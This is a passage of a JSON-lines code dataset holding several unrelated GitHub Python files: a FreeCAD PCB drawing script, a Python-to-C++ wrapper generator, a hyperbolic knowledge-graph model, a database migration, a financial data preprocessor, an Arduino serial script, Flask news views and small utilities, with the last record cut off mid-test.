{"seq_id":"70963298662","text":"import numpy as np\nimport Draft\n\ndef makeLine(points):\n    pl = FreeCAD.Placement()\n    pl.Rotation.Q = (0.0,0.0,0.0,1.0)\n    pl.Base = points[0]\n    line = Draft.makeWire(points,placement=pl,closed=True,face=False,support=None)\n    Draft.autogroup(line)\n\ndef makeCircle(center,radius):\n    pl=FreeCAD.Placement()\n    pl.Rotation.Q=(0.0,0.0,0.0,1.0)\n    pl.Base=center\n    circle = Draft.makeCircle(radius=radius,placement=pl,face=False,support=None)\n    Draft.autogroup(circle)\n\nboardRadius = 47 #mm\nseparationAngle = np.deg2rad(18.2) #degrees\nresRadius = 20 #mm\nresW = 1.9 #mm\nresH = 3.7 #mm\nmountRadius = 38 #mm\nmountDiam = 3.2 #mm\n\n#angle for input\ninputAngle = 2*np.pi-15*separationAngle\n\n#connector length\nconnLength = 2*boardRadius*np.tan(separationAngle/2)\n\n#draw input\n#track\ntrackPoints = [FreeCAD.Vector(0,0,0),FreeCAD.Vector(boardRadius,0,0)]\nmakeLine(trackPoints)\n#connector\nconnPoints = [FreeCAD.Vector(boardRadius,-connLength/2,0),FreeCAD.Vector(boardRadius,connLength/2,0)]\nmakeLine(connPoints)\n#resistor\nxr1 = resRadius + resH/2\nxr2 = resRadius - resH/2\nyr1 = resW/2\nyr2 = -resW/2\nresPoints = [FreeCAD.Vector(xr1,yr1,0),FreeCAD.Vector(xr2,yr1,0),FreeCAD.Vector(xr2,yr2,0),FreeCAD.Vector(xr1,yr2,0)]\nmakeLine(resPoints)\n\n#draw outputs\nfor i in range(0,16):\n    #angle\n    angle = inputAngle/2 + i*separationAngle\n    #track\n    trackPoints = [FreeCAD.Vector(0,0,0),FreeCAD.Vector(boardRadius*np.cos(angle),boardRadius*np.sin(angle),0)]\n    makeLine(trackPoints)\n    #connector\n    connPoints = trackPoints\n    connPoints[0] = trackPoints[1].add(FreeCAD.Vector(-0.5*connLength*np.cos(angle+0.5*np.pi),-0.5*connLength*np.sin(angle+0.5*np.pi),0))\n    connPoints[1] = trackPoints[1].add(FreeCAD.Vector(0.5*connLength*np.cos(angle+0.5*np.pi),0.5*connLength*np.sin(angle+0.5*np.pi),0))\n    makeLine(connPoints)\n    #resistor\n    pCen = FreeCAD.Vector(resRadius*np.cos(angle),resRadius*np.sin(angle),0)\n    p1 = pCen.add(FreeCAD.Vector(0.5*resH*np.cos(angle),0.5*resH*np.sin(angle),0))\n    p1 = p1.add(FreeCAD.Vector(0.5*resW*np.cos(angle+0.5*np.pi),0.5*resW*np.sin(angle+0.5*np.pi),0))\n    p2 = p1.add(FreeCAD.Vector(-resH*np.cos(angle),-resH*np.sin(angle),0))\n    p3 = p2.add(FreeCAD.Vector(-resW*np.cos(angle + 0.5*np.pi),-resW*np.sin(angle + 0.5*np.pi),0))\n    p4 = p3.add(FreeCAD.Vector(resH*np.cos(angle),resH*np.sin(angle),0))\n    resPoints = [p1,p2,p3,p4]\n    makeLine(resPoints)\n\n    if(i == 15):\n        continue\n    #mounting hole\n    angle = angle + 0.5*separationAngle\n    center = FreeCAD.Vector(mountRadius*np.cos(angle),mountRadius*np.sin(angle),0)\n    makeCircle(center,0.5*mountDiam)\n\n#input side mounting holes\nangle = 0.25*inputAngle\ncenter = FreeCAD.Vector(mountRadius*np.cos(angle),mountRadius*np.sin(angle),0)\nmakeCircle(center,0.5*mountDiam)\ncenter = FreeCAD.Vector(mountRadius*np.cos(angle),-mountRadius*np.sin(angle),0)\nmakeCircle(center,0.5*mountDiam)\n\nprint(\"Done!\")","repo_name":"JIQdC/PIQuinteros","sub_path":"KiCADProjects/Divisor/Drawings/abanico.py","file_name":"abanico.py","file_ext":"py","file_size_in_byte":2903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35233219870","text":"import inspect\nimport sys\nimport getopt\nimport os\nimport errno\n\nusage = \"\"\"Usage: py2cpp <python module name>\n\"\"\"\n\n#==============================================================================\n# PyObject_CallFunction() requires a format string where \n# parameter types are coded.\n# This variable helps do type encoding\n#==============================================================================\nformats = {\"int\"    : \"i\",\n           \"double\" : \"f\",\n           \"const char*\"  : \"s\",\n           \"PyObj&\" : \"O\" }\n\n#==============================================================================\n# Retrieves a list of function parameters (arguments)\n# Variable parameter list and keywords parameters are ignored\n#==============================================================================\ndef get_argspec(func):\n    arg_spec = inspect.getargspec(func)\n    return arg_spec.args\n\n\n#==============================================================================\n# Generates all combinations of function parameter types\n# E.g. 'def func(x, y):' is translated in\n# 'PyObj func(int x, int y) {'\n# 'PyObj func(double x, int y) {'\n# 'PyObj func(char* x, int y) {'\n# 'PyObj func(int x, double y) {'\n# 'PyObj func(double x, double y) {'\n# 'PyObj func(char* x, double y) {'\n# 'PyObj func(int x, char* y) {'\n# 'PyObj func(double x, char* y) {'\n# 'PyObj func(char* x, char* y) {'\n#==============================================================================\ndef types(n):\n    supported = [\"int\", \"double\", \"const char*\", \"PyObj&\"]\n    result = [[supported[0] for x in range(n)]]\n\n    idx = [0 for x in range(n)]\n    num = len(supported) - 1\n\n    while idx != [num for x in range(n)]:\n        for i in range(n):\n            idx[i] += 1\n            if idx[i] > num:\n                idx[i] = 0\n            else:\n                break\n        result.append([supported[x] for x in idx])\n    \n    return result\n\n\n#==============================================================================\n# Generates all C++ polymorphic function definitions\n# for the python function\n#==============================================================================\ndef definitions(func_obj, func_name, is_method = False, is_init = False):\n    args = get_argspec(func_obj)\n\n    # remove self for class methods\n    if is_method and len(args) > 0:\n        args = args[1:]\n\n    type_list = types(len(args))\n    for ts in type_list:\n        format = \"\"\n        arguments = \"\"\n\n        if is_method:\n            if is_init:\n                print(\"\\n    %s(\" % func_name, end = '')\n            else:\n                print(\"\\n    PyObj %s(\" % func_name, end = '')\n        else:\n            print(\"\\nPyObj %s(\" % func_name, end = '')\n\n        # generate C++ function parameter list\n        for a,t in zip(args, ts):\n            global formats\n            format += formats[t]\n\n            tc = \"(PyObject*)\" if t == \"PyObj&\" else \"\"\n\n            if a != args[-1]:\n                arguments += tc + a + \", \"\n                print(t, a, end = \", \")\n            else:\n                arguments += tc + a\n                print(t, a, end = '')\n\n        # generate C++ function body\n        if format == \"\":\n            format = \"NULL\"\n        else:\n            format = \"(char*)\\\"\" + format + \"\\\"\"\n            arguments = \" ,\" + arguments\n\n        print(\") {\")\n\n        if is_method:\n            if is_init:\n                print('        object = PyObject_CallFunction(class_obj, %s%s);' % (format, arguments))\n                print('        if (object == NULL) throw PyExcept(PyErr_Occurred());')\n            else:\n                print('        PyObj res = PyObj(PyObject_CallMethod(object, (char*)\"%s\", %s%s));' % (func_name, format, arguments))\n                print('        if (res.type() == NULL) throw PyExcept(PyErr_Occurred());')\n                print('        return res;')\n            print(\"    }\")\n        else:\n            print('    PyObj res = PyObj(PyObject_CallFunction(%s_obj, %s%s));' % (func_name, format, arguments))\n            print('    if (res.type() == NULL) throw PyExcept(PyErr_Occurred());')\n            print('    return res;')\n            print(\"}\")\n\n\n#==============================================================================\n# Generates class definition\n#==============================================================================\ndef define_class(class_obj, class_name):\n    print('\\nclass %s {' % class_name)\n    print('    static PyObject* class_obj;\\n'\n          '    PyObject* object;\\n\\n'\n          'public:')\n\n    # destructor\n    print('    ~%s() {' % class_name)\n    print('        Py_XDECREF(object);\\n'\n          '    }\\n')\n\n    class_symbols = dir(class_obj)\n\n    for symbol in class_symbols:\n        member = getattr(class_obj, symbol)\n\n        if symbol == \"__init__\":\n            definitions(member, class_name, True, True)\n        elif inspect.isfunction(member):\n            definitions(member, symbol, True)\n\n    print('\\n    friend bool __init__();\\n'\n          '    friend void __del__();')\n    print('}; // class %s\\n' % class_name)\n    print('PyObject* %s::class_obj = NULL;' % class_name)\n\n\n#==============================================================================\n#                          E N T R Y   P O I N T\n#==============================================================================\ndef main():\n    # get command line options and arguments\n    try:\n        opts,args = getopt.getopt(sys.argv[1:], \"h\", [\"help\"])\n    except getopt.GetoptError as err:\n        print(str(err))\n        sys.exit(2)\n\n    for o, a in opts:\n        if o in (\"-h\", \"--help\"):\n            global usage\n            print(usage)\n            sys.exit(0)\n\n    # get module name\n    module_name = args[0]\n\n    # load the module\n    module = __import__(module_name)\n\n    functions = []\n    classes = []\n\n    print(\"#ifndef %s_PY\" % module_name.upper())\n    print(\"#define %s_PY\" % module_name.upper())\n    print('\\n#include \"python.hpp\"')\n    print(\"\\nnamespace %s {\\n\" % module_name) # begin namespace\n\n    module_symbols = dir(module)\n\n    # get all classes and functions\n    for symbol in module_symbols:\n        obj = getattr(module, symbol)\n\n        # check if it is a function\n        if inspect.isfunction(obj):\n            print(\"\\nPyObject* %s_obj = NULL;\" % symbol)\n            functions.append(symbol)\n\n            definitions(obj, symbol)\n\n        # check if it is a class\n        if inspect.isclass(obj):\n            classes.append(symbol)\n\n            define_class(obj, symbol)\n\n    print(\"\\nvoid __del__() {\")\n\n    for fn in functions:\n         print(\"    Py_CLEAR(%s_obj);\" % fn)\n\n    for cl in classes:\n         print(\"    Py_CLEAR(%s::class_obj);\" % cl)\n\n    print(\"}\\n\")\n    print(\"bool __init__() {\\n\"\n          \"    PyObject* pModule = NULL;\")\n    print('    PyObject* pName = PyUnicode_FromString(\"%s\");' % module_name)\n    print(\"\\n\"\n          \"    if (pName == NULL) {\\n\"\n          \"        return false;\\n\"\n          \"    }\\n\"\n          \"    else {\\n\"\n          \"        pModule = PyImport_Import(pName);\\n\"\n          \"        Py_DECREF(pName);\\n\\n\"\n          \"        if (pModule == NULL) {\\n\"\n          \"            return false;\\n\"\n          \"        }\\n\")\n\n    for fn in functions:\n         print('        %s_obj = PyObject_GetAttrString(pModule, \"%s\");' % (fn, fn))\n\n    for cl in classes:\n         print('        %s::class_obj = PyObject_GetAttrString(pModule, \"%s\");' % (cl, cl))\n\n    print(\"\\n\"\n          \"        Py_DECREF(pModule);\\n\\n\"\n          \"        if (false\")\n\n    for fn in functions:\n        print('            || %s_obj == NULL' % fn)\n\n    for cl in classes:\n        print('            || %s::class_obj == NULL' % cl)\n\n    print(\"           ) {\\n\"\n          \"            __del__();\\n\"\n          \"            return false;\\n\"\n          \"        }\\n\"\n          \"    }\\n\"\n          \"    return true;\\n\"\n          \"}\")\n\n    print(\"\\n} // namespace %s\" % module_name) # end namespace\n    print(\"#endif // %s_PY\" % module_name.upper())\n\n\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"mdurnev/glue","sub_path":"py2cpp/py2cpp.py","file_name":"py2cpp.py","file_ext":"py","file_size_in_byte":8030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21910604903","text":"import numpy as np\nimport torch\nimport torch.nn.functional as F\n\nfrom torch import nn\n\nfrom models.base import KGModel\nfrom utils.euclidean import givens_rotations, givens_reflection\nfrom utils.hyperbolic import mobius_add, expmap0, project, hyp_distance_multi_c\n\nMIN_NORM = 1e-15\nHD_MODELS = [\"HighDHolmE\"]\n\nclass BaseH(KGModel):\n    \"\"\"Trainable curvature for each relationship.\"\"\"\n\n    def __init__(self, args):\n        super(BaseH, self).__init__(args.sizes, args.rank, args.dropout, args.gamma, args.dtype, args.bias,\n                                    args.init_size)\n        # self.dim = args.dim # dim=4,rank=32\n        self.dim = 4\n        self.entity.weight.data = self.init_size * torch.randn((self.sizes[0], self.rank), dtype=self.data_type) # 32 = 4 * 8\n        self.rel.weight.data = self.init_size * torch.randn((self.sizes[1], self.rank * self.dim), dtype=self.data_type) #rotation \n        self.rel_trans = nn.Embedding(self.sizes[1], self.rank)\n        self.rel_trans.weight.data = self.init_size * torch.rand((self.sizes[1], self.rank), dtype=self.data_type) #translation\n        self.multi_c = args.multi_c\n        c_init = torch.ones((self.sizes[1], 1), dtype=self.data_type)\n        if self.multi_c:\n            self.c = nn.Parameter(c_init, requires_grad=True)\n        else:\n            self.c = nn.Parameter(c_init, requires_grad=False)\n\n        # self.multi_c = args.multi_c\n        # if self.multi_c:\n        #     c_init = torch.ones((self.sizes[1], 1), dtype=self.data_type)\n        # else:\n        #     c_init = torch.ones((1, 1), dtype=self.data_type)\n        # self.c = nn.Parameter(c_init, requires_grad=True)\n\n    def get_rhs(self, queries, eval_mode):\n        \"\"\"Get embeddings and biases of target entities.\"\"\"\n        if eval_mode:\n            return self.entity.weight, self.bt.weight\n        else:\n            return self.entity(queries[:, 2]), self.bt(queries[:, 2])\n\n\nclass HighDHolmE(BaseH):\n    \"\"\"Hyperbolic 2x2 Givens rotations\"\"\"\n    def get_queries(self, queries):\n        \"\"\"Compute embedding and biases of queries.\"\"\"\n        batch_size = queries.shape[0]\n        highD_rank = int(self.rank/self.dim) #32/4 = 8\n        r_dim = self.dim\n        c = F.softplus(self.c[queries[:, 1]]) # batchSize x 1\n        head = self.entity(queries[:, 0])\n        relt = self.rel_trans(queries[:, 1]) # translation\n        relR = self.orthogo_tensor(self.rel(queries[:, 1]), highD_rank) #[relR[0], relR[1], ... relR[highD_rank]] , [batchSize, dim, dim]\n\n        # R*h = t\n        # [dim, dim] * [dim ,1] = [dim, 1]\n\n        # product space: [highD_rank, dim, dim] * [highD_rank, dim ,1] = [highD_rank, dim, 1]\n        # diag([dim, dim], high_rank)\n\n        # [batchSize, highD_rank, dim, dim] * [batchSize, highD_rank, dim, 1] -> [batchSize, highD_rank, dim, 1]\n        # diag([dim, dim], high_rank*batchSize)\n\n\n        head = torch.chunk(head, highD_rank, dim=1) # [head[0], head[1] ... head[highD_rank]], [batchSize, dim]\n        relt = torch.chunk(relt, highD_rank, dim=1) # [relt[0], relt[1] ... relt[highD_rank]], [batchSize, dim]\n\n        res = [] # [res[0], res[1] ... res[highD_rank]], batchSize x dim\n        for i in range(highD_rank):\n            tmp_head = expmap0(head[i], c) # [batchSize, dim]\n            tmp_relt = expmap0(relt[i], c) # [batchSize, dim]\n            # tmp_rot_head = torch.mul(relR[i], tmp_head)  # [batch, dim, dim] * [batch, dim] => [batch, dim]\n            tmp_rot_head = []\n            for j in range(batch_size):\n                mult_tmp = torch.mm(relR[i][j], tmp_head[j].view(r_dim,1))\n                # print(relR[i][j].shape, tmp_head[j].view(r_dim,1).shape, mult_tmp.shape)\n                mult_tmp = mult_tmp.view(1, r_dim) # [1, dim]\n                tmp_rot_head.append(mult_tmp)\n            tmp_rot_head = torch.cat(tmp_rot_head, dim=0) #[batch, dim]\n                        \n            res.append(project(mobius_add(tmp_relt, tmp_rot_head, c), c))\n        res = torch.cat(res, dim=1)\n\n        return (res, c), self.bh(queries[:, 0])\n\n    def similarity_score(self, lhs_e, rhs_e, eval_mode):\n        \"\"\"Compute similarity scores or queries against targets in embedding space.\"\"\"      \n        lhs_e, c = lhs_e\n        batch_size = lhs_e.shape[0]\n        highD_rank = int(self.rank/self.dim) #32/4 = 8\n        lhs_e = torch.chunk(lhs_e, highD_rank, dim=1)\n        rhs_e = torch.chunk(rhs_e, highD_rank, dim=1)\n\n        for i in range(highD_rank):\n            if i == 0:\n                dist = - hyp_distance_multi_c(lhs_e[i], rhs_e[i], c, eval_mode) ** 2\n            else:\n                dist -= hyp_distance_multi_c(lhs_e[i], rhs_e[i], c, eval_mode) ** 2\n        dist /= highD_rank\n\n        return dist\n\n    def orthogo_tensor(self, relr, highD_rank):\n        '''\n        x: [batchSize, rank*dim] = [batchSize, dim*dim*highD_rank]\n        highD_rank: highD_rank\n        output [relR[0], relR[1], ... relR[highD_rank]] , batchSize x dim x dim\n        '''\n        rel_l = torch.chunk(relr, highD_rank, dim=1) #[x[0], x[1] ... x[highD_rank]], [batchSize, dim*dim]\n        rel_dim =self.dim\n        relR_l = []\n        for rel in rel_l: #[batchSize, dim*dim]\n            relr = torch.chunk(rel, rel_dim, dim=1) #[batchSize, dim] * dim\n            ort_relr = []\n            for i in range(rel_dim):\n                cur_row = relr[i] #[batchSize, dim]\n                ort_relr_tmp = cur_row #[batchSize, dim]\n                for r in ort_relr:\n                    norm = torch.sum(r * cur_row, dim=-1, keepdim=True) #[batchSize, 1]\n                    denorm = torch.sum(r * r, dim=-1, keepdim=True).clamp_min(MIN_NORM) #[batchSize, 1]\n                    sub = norm/denorm *r #[batchSize, dim]\n                    ort_relr_tmp = ort_relr_tmp - sub  #[batchSize, dim]\n                relr_norm = ort_relr_tmp.norm(dim=-1, p=2, keepdim=True).clamp_min(MIN_NORM) #[batchSize, 1]\n                ort_relr_tmp = ort_relr_tmp/relr_norm  #[batchSize, dim]\n                # assert False, ort_relr_tmp.shape\n                ort_relr.append(ort_relr_tmp)\n            relR = torch.stack(ort_relr, dim=2) #[batchSize, dim, dim]\n            \n            relR_l.append(relR)            \n        return relR_l # #[batchSize, dim, dim] * highD_rank\n","repo_name":"zhengzhuoxun/HolmE-AAAI","sub_path":"models/highd.py","file_name":"highd.py","file_ext":"py","file_size_in_byte":6210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21603132446","text":"from gearbox.migrations import Migration\n\nclass AddTableFuncRunQueue(Migration):\n\n    database = \"common\"\n\n    def up(self):\n        t = self.table('FuncRunQueue', area=\"Sta_Data_128\", multitenant=\"yes\", label=\"Function Queue\", dump_name=\"FuncRunQueue\", desc=\"Configuration for function queue\")\n        t.column('FRQueueID', 'integer', format=\">>>>>>>>>9\", initial=\"0\", max_width=4, label=\"Queue ID\", column_label=\"Queue\", position=2, order=10, help=\"Unique ID for the queue\")\n        t.column('QueueDesc', 'character', format=\"x(30)\", initial=\"\", max_width=60, label=\"Description\", position=3, order=20, help=\"Short description of the queue\")\n        t.column('Brand', 'character', format=\"x(8)\", initial=\"\", max_width=16, label=\"Brand\", position=4, order=30, help=\"Code of brand\")\n        t.column('Active', 'logical', format=\"Yes/No\", initial=\"no\", max_width=1, label=\"Active\", position=5, order=40, help=\"Is queue active\")\n        t.index('FRQueueID', [['FRQueueID']], area=\"Sta_Index_1\", primary=True, unique=True)\n        t.index('BrandQueue', [['Brand'], ['FRQueueID']], area=\"Sta_Index_1\")\n\n    def down(self):\n        self.drop_table('FuncRunQueue')\n","repo_name":"subi17/ccbs_new","sub_path":"db/progress/migrations/0151_add_table_common_funcrunqueue.py","file_name":"0151_add_table_common_funcrunqueue.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71496162341","text":"import pandas as pd\nimport numpy as np\nimport glob\nimport os\n\nclass Preprocess():\n    def __init__(self, path:str, tick:str):\n        self.benzinga = None\n        self.macro = None\n        self.youtube = None\n        self.tick = tick\n        self.stock = None\n        self.earning = None\n        self.combination = None\n        try:\n            self.benzinga = pd.read_csv(os.path.join(path, 'benzinga_with_ratings.csv'))\n        except FileNotFoundError:\n            print('Benzinga file not found')\n        try:\n            self.macro = pd.read_csv(os.path.join(path, 'macro.csv'))\n        except FileNotFoundError:\n            print('Macro file not found')\n        try:\n            self.youtube = pd.read_csv(os.path.join(path, 'youtube_with_ratings.csv'))\n        except FileNotFoundError:\n            print('YouTube file not found')\n        try:\n            stock_file = glob.glob(os.path.join(path, f'{tick}_stock.csv'))[0]\n            self.stock = pd.read_csv(stock_file)\n        except IndexError:\n            print(f'Stock file for {self.tick} not found')\n        try:\n            earning_file = glob.glob(os.path.join(path, f'{tick}_earnings.csv'))[0]\n            self.earning = pd.read_csv(earning_file)\n        except IndexError:\n            print(f'Earning file for {self.tick} not found')\n        \n\n    def clean_benzinga(self):\n        self.benzinga = self.benzinga[['created', 'benz_rate']]\n        self.benzinga.dropna(subset=['benz_rate'], inplace=True)\n        self.benzinga['benz_rate'] = self.benzinga['benz_rate'].astype(int)\n        self.benzinga = self.benzinga.groupby('created')['benz_rate'].mean().reset_index()\n        self.benzinga['benz_rate'] = self.benzinga['benz_rate'].round(4)\n        self.benzinga = self.benzinga.rename(columns={'created': 'date'})\n        self.benzinga['date'] = pd.to_datetime(self.benzinga['date']).dt.date\n        print('Snapshot of benzinga data:')\n        print(self.benzinga.head())\n        print(f\"Size:{self.benzinga.shape}\")\n    \n    def clean_stock(self):\n        exclude_cols = ['open', 'high', 'low','tic']\n        self.stock = self.stock.drop(columns=exclude_cols)\n        self.stock['date'] = pd.to_datetime(self.stock['date']).dt.date\n\n        zero_rows = set(np.where(self.stock.iloc[:10, 4:20] == 0)[0].tolist())\n        inf_rows = set(np.where(np.isinf(self.stock.iloc[:, 4:20]))[0].tolist())\n        neg_inf_rows = set(np.where(np.isinf(self.stock.iloc[:, 4:20]) & (self.stock.iloc[:, 4:20] < 0))[0].tolist())\n        nan_rows = set(np.where(np.isnan(self.stock.iloc[:, 4:20]))[0].tolist())\n        invalid_rows = zero_rows.union(inf_rows).union(neg_inf_rows).union(nan_rows)\n        print(invalid_rows)\n        print()\n        self.stock = self.stock.drop(list(invalid_rows)).reset_index(drop=True)\n\n        print('Snapshot of stock data:')\n        print(self.stock.head())\n        print(f\"Size:{self.stock.shape}\")\n\n    def clean_earning(self):\n        if self.earning is not None:\n            self.earning['reportedDate'] = pd.to_datetime(self.earning['reportedDate']).dt.date\n            self.earning = self.earning[['reportedDate', 'reportedEPS', 'estimatedEPS', 'surprisePercentage']]\n            self.earning = self.earning.rename(columns={'reportedDate': 'date', 'surprisePercentage' : 'surprisePct'})\n            self.earning = self.earning.sort_values(by='date').reset_index(drop=True)\n            print('Snapshot of earning data:')\n            print(self.earning.head())\n            print(f\"Size:{self.earning.shape}\")\n\n\n    def clean_macro(self):\n        new_dates_1 = pd.date_range(start='2023-04-01', end='2023-04-30')\n        new_data_1 = {'date': new_dates_1, 'NFP' : 155673.0, 'InterestRate': 4.83, 'UnemploymentRate' : 3.4, 'PPI' : 257.381, 'CPI': 302.918}\n        new_df_1 = pd.DataFrame(new_data_1)\n        # # nfp, Unemployment Rate used a mock value, \n        # new_dates_2 = pd.date_range(start='2023-05-01', end='2023-05-04')\n        # new_data_2 = {'date': new_dates_2, 'NFP' : 155873.0, 'InterestRate': 5.08, 'UnemploymentRate' : '3.4', 'PPI' : 257}\n        # new_df_2 = pd.DataFrame(new_data_2)\n\n        # # Concatenate the two DataFrames\n        # new_df_12 = pd.concat([new_df_1, new_df_2], ignore_index=True)\n        self.macro = pd.concat([self.macro, new_df_1], ignore_index=True)\n\n        self.macro = self.macro[['date','NFP','InterestRate','UnemploymentRate','PPI','CPI']]\n        self.macro['date'] = pd.to_datetime(self.macro['date']).dt.date\n        print('Snapshot of macro data:')\n        print(self.macro.head())\n        print(f\"Size:{self.macro.shape}\")\n\n    def merge_table(self):\n        self.combination = pd.merge(self.stock, self.macro, on='date', how='left')\n        self.combination = pd.merge(self.combination, self.benzinga, on='date', how='outer')\n        self.combination = self.combination.sort_values(by='date').reset_index(drop=True)\n        # Fill NA values using backward fill method for dates when market is closed\n        columns_to_fill = [col for col in self.stock.columns if col not in ['date', 'benz_rate']]\n        self.combination[columns_to_fill] = self.combination[columns_to_fill].fillna(method='bfill')\n        # # Fill NA values using forward fill method for dates when no news created when market is open\n        self.combination['benz_rate'] = self.combination['benz_rate'].fillna(method='ffill')\n        self.combination['benz_rate'] = self.combination.groupby(['close', 'volume', 'day'])['benz_rate'].transform('mean')\n        self.combination['benz_rate'] = self.combination['benz_rate'].round(3)\n        if self.earning is not None:\n            self.combination = pd.merge(self.combination, self.earning, on='date', how='outer')\n        self.combination = self.combination.sort_values(by='date').reset_index(drop=True)    \n        self.combination = self.combination.fillna(method='ffill')\n        self.combination = self.combination[self.combination['date'].isin(self.stock['date'])].sort_values(by='date').reset_index(drop=True)\n\n    def export_to_csv(self):\n        self.combination.to_csv(f\"../data/{self.tick}_cleaned_data.csv\", index=False)\n\n\n    # # this uncompleted function is used to merge tables based on user input\n    # def merge_tables(self, table_list: list):\n    #     for table in table_list:\n    #         if hasattr(self, table):\n    #             class_variable = getattr(self, table)\n    #             if isinstance(class_variable, pd.DataFrame):\n    #                 merged_dataframe = pd.concat([class_variable, class_variable], ignore_index=True)\n    #                 setattr(self, table, merged_dataframe)","repo_name":"yaoyzz/Finance-LLM","sub_path":"data/preprocess/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":6583,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"10717054951","text":"import serial\nimport threading\n\narduino = serial.Serial(\"COM5\")\n\ndef send_to_arduino(command):\n  arduino.write(bytes(command, \"utf-8\"))\n\nstop = False\n\ndef listen():\n  global stop\n  while not stop:\n    command = arduino.readline()\n    if len(command) != 0:\n      print(\"Lệnh nhận được là {}\".format(command))\n\nthreading.Thread(name=\"Arduino serivce\", target=listen) \\\n  .start()\n\ntry:\n  while True:\n    n = input(\"Nhập lệnh: \")  \n    send_to_arduino(n)\nexcept KeyboardInterrupt as e:\n  stop = True","repo_name":"baolam/intelligent-drug","sub_path":"arduino.py","file_name":"arduino.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2496807569","text":"# -*-coding:utf-8-*-\nimport sys\nfrom flask import render_template, redirect, url_for, request, session\nfrom . import news\nimport json\nfrom collections import OrderedDict\nfrom .. import emotion_db\n#from newsSearch import newsSearch\nimport datetime\nfrom flask.ext.login import current_user\nreload(sys)\nsys.setdefaultencoding('utf8')\ntoday = datetime.date.today()\ntoday = str(today)[0:4]+str(today)[5:7]+str(today)[8:10]\n\n\n@news.route('/newslist', methods=['GET', 'POST'])\ndef newslist():\n    time = ''\n    dic = {}\n    if request.method == 'POST':\n        time_str = request.form['time'].replace('-', '')\n        session['newslist_time'] = time_str\n        return redirect(url_for('news.newslist'))\n    if 'newslist_time' in session:\n        time_str = session['newslist_time']\n        b2 = emotion_db.B2.find_one({'time': time_str})\n        if not b2:\n            del session['newslist_time']\n            return 'Not Found'\n        for news_list in b2['hot']:\n            news_title = news_list[0]\n            news_heat = news_list[1]\n            dic[news_title] = news_heat\n    else:\n        time = datetime.datetime.now()\n        while True:\n            time_str = str(time)[:10].replace('-', '')\n            b2 = emotion_db.B2.find_one({'time': str(time_str)})  # B2 news: title and hot display it as list\n            if not b2:\n                time = time + datetime.timedelta(-1)\n            else:\n                break\n        for news_list in b2['hot']:\n            news_title = news_list[0]\n            news_heat = news_list[1]\n            dic[news_title] = news_heat\n    return render_template('news/newslist.html', dic=dic, news_time=time_str)\n\n\n@news.route('/wordcloud/<news_title>')\ndef wordcloud(news_title):\n    if current_user.is_authenticated:\n        dic = emotion_db.C1.find_one({'user':current_user.username})\n        if not dic:\n            dic = {'user':current_user.username,'news':{},'wbtopic':{},'wbhot':{}}\n        if today not in dic['news']:\n            dic['news'][today] = []\n        dic['news'][today].append(news_title)\n        emotion_db.C1.save(dic)\n\n    b1 = emotion_db.B1.find_one({'title': news_title})\n    if not b1:\n        return redirect(url_for('main.index'))\n    dic = b1['words']\n    content = b1['content']\n    time_str = b1['time'][:10].replace('-', '')\n    od = OrderedDict(sorted(dic.iteritems(), key=lambda d: d[1], reverse=True))\n    emotion = [0, 0, 0, 0]\n    comments = []\n    if len(od) > 16:\n        k = 0\n        dic = {}\n        for i in od:\n            dic[i] = od[i]\n            k = k + 1\n            if k > 16:\n                od = dic\n                break\n\n    b3 = emotion_db.B3.find_one({'title': news_title})\n    if b3:\n        emotion = b3['score']\n        comments = b3['comment']\n\n    li = []\n    b4 = emotion_db.B4.find_one({'title': news_title})\n    if b4:\n        for l in b4['related']:\n            li.append(l)\n        li.sort(key=lambda l: l[2], reverse=True)\n        if len(li)>15:\n            li = li[0:15]\n    return render_template('news/wordcloud.html', dic=json.dumps(od), emotion=emotion, comments=comments, news_title=news_title, content=content, li=li, time_str=time_str)\n","repo_name":"No7777/webserver","sub_path":"app/news/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"4354650777","text":"\"\"\"\nIS PANGRAM: Write a Python function to check whether a string is pangram or not.\n\nNote : Pangrams are words or sentences containing every letter of the alphabet at least once.\nFor example : \"The quick brown fox jumps over the lazy dog\"\n\"\"\"\n\nimport string\n\ndef ispangram(str1, alphabet=string.ascii_lowercase):\n    for letter in alphabet:\n        if letter in str1:\n            continue\n        else:\n            return False\n    return True\n","repo_name":"valcal/python_practice","sub_path":"python-function-practice-master/is_panagram.py","file_name":"is_panagram.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10200359751","text":"\nfrom unittest import mock\n\nfrom py.test.tools import (\n    BaseTestCase,\n)\nfrom py.src.match.model.data import (\n    GlobalRankedData,\n)\nfrom py.src.view_model import (\n    GlobalViewModelCache,\n)\n\n\nclass GlobalIntegrationTest(BaseTestCase):\n\n    @classmethod\n    def setUpChildClass(cls):\n        cls.matches = cls.sample_matches()\n\n    def _create_global_view_model(self, global_dict):\n        with mock.patch(\n            'py.src.view_model.get_global_ranked_match_cache',\n        ) as mp:\n            mp.return_value = global_dict\n            return GlobalViewModelCache()\n\n    def test_global(self):\n        global_data = GlobalRankedData(global_dict=None)\n        global_data._process_matches(self.matches, lambda m: True)\n        vm_cache = self._create_global_view_model(global_data.to_dict())\n        global_vm = vm_cache.get_by_leagues([], [])\n        self.assertEqual(188, global_vm.data.game_count)\n        self.assertEqual(94, global_vm.data.game_wins)\n        self.assertEqual(47, global_vm.data.characters[14].game_count)\n\n    def test_to_dict(self):\n        global_data = GlobalRankedData(global_dict=None)\n        global_data._process_matches(self.matches, lambda m: True)\n        dict1 = global_data.to_dict()\n        dict2 = GlobalRankedData(global_dict=dict1).to_dict()\n        self.assertEqual(dict1, 